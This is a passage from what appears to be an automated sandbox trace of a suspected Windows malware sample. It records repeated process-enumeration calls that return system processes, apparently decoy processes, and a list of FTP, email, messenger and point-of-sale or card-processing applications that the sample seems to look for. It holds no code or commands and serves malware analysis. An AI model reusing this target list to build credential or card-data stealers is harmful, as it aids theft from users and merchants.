cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0211.478] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0211.480] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0211.482] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0211.484] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0211.486] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0211.488] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.490] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.492] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0211.494] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.496] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.498] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.500] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.502] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.504] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.551] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.554] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0211.555] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0211.557] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0211.559] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.561] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0211.563] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0211.565] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0211.568] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0211.570] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0211.572] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0211.573] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0211.576] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.577] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0211.579] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0211.581] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0211.583] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0211.585] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0211.587] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0211.589] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0211.592] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0211.595] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0211.597] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0211.599] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0211.601] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0211.603] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0211.605] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0211.607] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0211.609] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0211.611] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0211.613] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0211.615] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0211.617] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0211.619] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0211.621] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0211.623] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0211.625] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0211.627] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0211.629] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0211.631] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0211.633] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0211.636] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0211.638] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0211.640] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0211.642] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0211.644] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0211.650] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0211.652] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0211.654] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0211.657] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0211.715] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0211.718] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0211.721] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0211.723] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0211.726] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0211.730] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0211.732] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0211.734] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0211.737] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0211.738] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0211.741] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0211.743] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0211.757] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0211.759] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0211.761] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0211.766] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0211.768] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0211.770] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0211.773] Process32Next 